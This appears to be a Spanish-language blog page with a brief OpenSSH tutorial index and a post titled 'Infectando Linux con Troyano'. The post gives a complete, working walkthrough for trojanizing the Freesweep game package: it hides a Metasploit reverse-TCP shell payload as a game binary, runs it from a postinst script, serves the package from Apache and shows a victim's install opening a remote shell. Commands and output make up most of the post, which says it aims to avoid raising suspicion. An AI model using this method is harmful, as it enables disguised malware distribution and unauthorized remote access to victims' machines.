May 08

Tutorial OpenSSH

OpenSSH (Open Secure Shell) es un conjunto de aplicaciones que permiten realizar comunicaciones cifradas a través de una red, usando el protocolo SSH. Fue creado como una alternativa libre y abierta al programa Secure Shell, que es software propietario. El proyecto está liderado por Theo de Raadt, residente en Calgary.


Índice de contenido



Información de derechos reservados de esta publicación.                                                                                           ……………2
8.0 El Protocolo SSH ………………………………………………………………………………………………………………..5
8.1 Acerca de OpenSSH…………………………………………………………………………………………………………5
8.2 Instalación de OpenSSH……………………………………………………………………………………………………6
8.3 Configuración de OpenSSH………………………………………………………………………………………………6
8.3.1 Archivos de configuración del servidor ……………………………………………………………………….6
8.3.2 Archivos de configuración del cliente………………………………………………………………………….7
8.4 Configuración de fichero sshd_config………………………………………………………………………………..7
8.4.1 Blindando el fichero sshd_config………………………………………………………………………………..7
8.4.2 Cambiando el puerto………………………………………………………………………………………………….8
8.4.3 Protocolos ssh…………………………………………………………………………………………………………..8
8.4.4 Parámetro PermitRootLogin……………………………………………………………………………………….8
8.4.5 Parámetro X11Forwarding…………………………………………………………………………………………9
8.4.6 Parámetro LoginGraceTime……………………………………………………………………………………….9
8.4.7 Permitiendo AllowUsers…………………………………………………………………………………………….9
8.4.8 Iniciando el servicio SSH…………………………………………………………………………………………..9
8.5 Herramienta ssh……………………………………………………………………………………………………………..10
8.6 Herramienta scp……………………………………………………………………………………………………………..11
8.7 Herramienta sftp…………………………………………………………………………………………………………….13
8.8 Herramienta sshfs…………………………………………………………………………………………………………..14
8.8.1 Instalando sshfs y fuse……………………………………………………………………………………………..14
8.8.2 Configuración sshfs y fuse………………………………………………………………………………………..14
8.8.3 Montar unidad remota sshfs………………………………………………………………………………………15
8.8.4 Montar unidad vía fstab……………………………………………………………………………………………15
8.8.5 Montar unidad como usuario normal………………………………………………………………………….15
8.9 Bitácoras Openssh………………………………………………………………………………………………………….16



Descargar tutorial


Mirror: Descargar tutorial



May 06

Infectando Linux con Troyano

Ahora despues de mirar algunos exploits, me di a la busqueda de infectar con un troyano a Linux, más especificamente Ubuntu 9.10. Este tutorial, se hace semejante al tutorial [Metasploit] Generando Ejecutable con PAYLOAD (http://foro.elhacker.net/hacking_avanzado/metasploit_generando_ejecutable_con_payload-t279407.0.html), el cual convertimos un PAYLOAD en un archivo ejecutable para infectar a Windows, ahora harémos lo mimos, pero para infectar Linux.

Para no levantar sospechas descargaremos un juego, en esté caso “Freesweep“, para despues infectarlo con el PAYLOAD.

Código:
shellroot@shellroot-desktop:~$ sudo apt-get --download-only install freesweep
[sudo] password for shellroot:
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias      
Leyendo la información de estado... Hecho
Se actualizarán los siguientes paquetes:
  freesweep
1 actualizados, 0 se instalarán, 0 para eliminar y 183 no actualizados.
Necesito descargar 39,2kB de archivos.
Se utilizarán 172kB de espacio de disco adicional después de esta operación.
Des:1 http://co.archive.ubuntu.com karmic/universe freesweep 0.90-2 [39,2kB]
Descargados 39,2kB en 2s (19,1kB/s)
Descarga completa y en modo de sólo descarga
shellroot@shellroot-desktop:~$

Creamos una carpeta donde quedaran los archivos organizadamente. En este caso la pondre en /home/shellroot/

Código:
shellroot@shellroot-desktop:~$ mkdir /home/shellroot/Troyano
shellroot@shellroot-desktop:~$

Ahora el archivo que descargamos al inicio lo movemos dentro de la carpeta que acabamos de crear (/home/shellroot/Troyano).

Código:
shellroot@shellroot-desktop:~$ sudo mv /var/cache/apt/archives/freesweep_0.90-2_i386.deb /home/shellroot/Troyano
shellroot@shellroot-desktop:~$

Nos posicionamos dentro de la carpeta /home/shellroot/Troyano y modifcamos los permisos de la carpeta.

Código:
shellroot@shellroot-desktop:~$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ chmod 777 /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$

Descomprimimos el archivo freesweep_0.90-2_i386.deb, dentro de la carpeta /home/shellroot/Troyano, para añadirle la infeccion del PAYLOAD.

Código:
shellroot@shellroot-desktop:~/Troyano$ dpkg -x freesweep_0.90-2_i386.deb Juego
shellroot@shellroot-desktop:~/Troyano$

Ahora crearemos una carpeta que llamaremos DEBIAN, dentro de ella crearemos 2 archivos.

  • control
  • postinst
Código:
shellroot@shellroot-desktop:~/Troyano$ mkdir Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano$ cd Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

Dentro del archivo control, pondremos la siguiente informacion:

Código:
Package: freesweep
Version: 0.90-1
sección: Juegos y Diversion
Prioridad: Media
Arquitectura: i386
Creado: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Descripcion: Buscaminas es una implementación del popular juego de minas, donde se intenta encontrar todas las minas sin encender ninguna, en base a sugerencias dadas por el equipo.

Ahora dentro del archivo postinst, pondremos un Script para la ejecucion de nuestro archivo infectado.

Código
#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &

Ahora crearemos el troyano con el PAYLOAD  linux/x86/shell/reverse_tcp, damos los parametros de LHOST y LPORT y la ubucacion del archivo infectado.

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 X > /home/shellroot/Troyano/Juego/usr/games/freesweep_scores
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
 Length: 50
Options: LHOST=192.168.142.137,LPORT=1234
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

Ahora modifcamos los permisos del archivo postinst, y construiremos de nuevo el archivo que supuestamente es el “Juego”.

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ chmod 755 postinst
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ dpkg-deb --build /home/shellroot/Troyano/Juego/
dpkg-deb: construyendo el paquete `freesweep' en `/home/shellroot/Troyano/Juego.deb'.
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

La re-contruccion creara el archivo Juego.deb el cual debemos cambiar por freesweep.deb, asi que nos movemos a la carpeta /home/shellroot/Troyano, despues, lo moveremos a la Raiz del Servidor Web para su proxima descarga e infeccion.

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ mv Juego.deb freesweep.deb
shellroot@shellroot-desktop:~/Troyano$ sudo cp freesweep.deb /var/www/
[sudo] password for shellroot:
shellroot@shellroot-desktop:~/Troyano$

Iniciamos el Servidor del Apache

Código:
shellroot@shellroot-desktop:~/Troyano$ sudo /etc/init.d/apache2 start
 * Starting web server apache2                                                                   apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
httpd (pid 1576) already running
                                                                                          [ OK ]
shellroot@shellroot-desktop:~/Troyano$

Ahora como cuando lo hicimos con Windows, debemos de usar el Auxiliary multi/handler, configurarlo de la misma manera que cuando creamos el PAYLOAD y esperar a que la victima descargue e ejecute el archivo infectado.

Código:
shellroot@shellroot-desktop:~$ sudo msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 E
[sudo] password for shellroot:
[*] Please wait while we load the module tree...
[*] Starting the payload handler...
[*] Started reverse handler on port 1234

Ahora supongamos que somos la victima y descargamos el archivo.

Código:
hacklab@hacklab-desktop:~$ wget http://192.168.142.137/freesweep.deb
--2010-01-21 23:36:27--  http://192.168.142.137/freesweep.deb
Conectando a 192.168.142.137:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 39214 (38K) [application/x-debian-package]
Guardando: «freesweep.deb»

100%[=======================================================>] 39.214      --.-K/s   en 0s      

2010-01-21 23:36:29 (93,0 MB/s) - `freesweep.deb' guardado [39214/39214]

hacklab@hacklab-desktop:~$

Despues de descargado el archivo, lo instalamos.

Código:
hacklab@hacklab-desktop:~$ sudo dpkg -i freesweep.deb

Ahora miramos el multi/handler y voala, una session del Meterpreter

Código:
[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.142.137:1234 -> 192.168.142.140:41233)